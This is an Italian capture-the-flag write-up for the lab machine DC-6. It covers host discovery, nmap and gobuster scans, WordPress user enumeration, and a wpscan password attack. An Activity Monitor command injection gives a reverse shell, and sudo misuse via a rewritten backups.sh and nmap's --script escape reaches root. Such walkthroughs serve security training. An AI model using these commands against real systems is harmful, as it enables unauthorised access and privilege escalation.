

REPORT DC-6

1- INDIVIDUAZIONE TARGET(NETDISCOVER)

```
192.168.1.18    08:00:27:9d:70:2e    18    1080    PCS Systemtechnik GmbH
```

2- SCANSIONE DEI SERVIZI (NMAP)

```
└─# nmap -A -sV wordy
Starting Nmap 7.91 ( https://nmap.org ) at 2022-06-28 05:11 EDT
Nmap scan report for wordy (192.168.1.18)
Host is up (0.00054s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
ssh-hostkey:
 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp    open  http     Apache httpd 2.4.25 ((Debian))
_http-generator: WordPress 5.1.1
_http-server-header: Apache/2.4.25 (Debian)
_http-title: Wordy &#8211; Just another WordPress site
MAC Address: 08:00:27:9D:70:2E (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.54 ms wordy (192.168.1.18)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.71 seconds
```

3- BRUTE FORCING DIRECTORY (GOBUSTER)

```
└─# gobuster dir -u wordy -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://wordy
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Timeout: 10s

2022/06/28 05:11:46 Starting gobuster in directory enumeration mode

/index.php (Status: 301) [Size: 0] [→ http://wordy/]
/wp-content (Status: 301) [Size: 303] [→ http://wordy/wp-content/]
/wp-login.php (Status: 200) [Size: 2808]
/wp-includes (Status: 301) [Size: 304] [→ http://wordy/wp-includes/]
/wp-trackback.php (Status: 200) [Size: 135]
/wp-admin (Status: 301) [Size: 301] [→ http://wordy/wp-admin/]
/xmlrpc.php (Status: 405) [Size: 42]
/wp-signup.php (Status: 302) [Size: 0] [→ http://wordy/wp-login.php?action-register]
/server-status (Status: 403) [Size: 293]

2022/06/28 05:13:46 Finished
```

4- ENUMERAZIONE USERS (WPSCAN)

```
[+] sarah
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] graham
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] mark
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] jens
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Tue Jun 28 05:14:32 2022
[+] Requests Done: 73
[+] Cached Requests: 6
[+] Data Sent: 16.742 KB
[+] Data Received: 18.871 MB
[+] Memory used: 166.293 MB
[+] Elapsed time: 00:00:03
```

5- CRACKING USERS DICTIONARY ATTACK (WPSCAN)

```
# wpscan --url http://wordy -P passwords.txt
```

```
[!] Valid Combinations Found:
| Username: mark, Password: helpdesk01
```

6- COMMAND INJECTION

Dopo varie ricerche arriviamo alla consapevolezza che Activity Monitor è vulnerabile, allora procediamo con l'exploitazione tramite un exploit trovato con "Searchsploit", che ci permette il remote code execution. Modificando l'exploit riusciamo ad avere una shell inversa all'interno del sistema.

7- STABILIZZAZIONE SHELL METODO PYTHON

```
python -c 'import pty;pty.spawn("/bin/bash")'
```

8- PRIVILEGE ESCALATION

Una volta dentro controllando i vari file riusciamo a trovare le credenziali di un altro utente: GRAHAM.

Con il comando "sudo -l" scopriamo che l'utente GRAHAM può eseguire il file "home/jens/backups.sh" con sudo come JENS e scopriamo anche che può modificarlo.

Sovrascrivendo il file potremmo cambiare utente senza aver bisogno di una password.

Quindi digitiamo:

- `echo /bin/bash > backups.sh`
- `sudo -u jens /home/jens/backups.sh`

Una volta loggati come JENS ricontrolliamo con il comando “`sudo -l`” se può eseguire qualche tool come root senza aver bisogno di una password e notiamo che può eseguire il tool “`nmap`”.

Dopo alcune ricerche scopriamo che esistono un sacco di metodi per sfruttare “`nmap`” come root, quindi digitiamo:

- `TF=$(mktemp)`
- `echo 'os.execute("/bin/sh")' > $TF`
- `sudo nmap --script=$TF`

Così facendo riusciamo ad avere una shell interattiva come root. Ci dirigiamo nel percorso “`/root`” e troviamo l’unica flag della macchina e abbiamo completato il Privilege Escalation !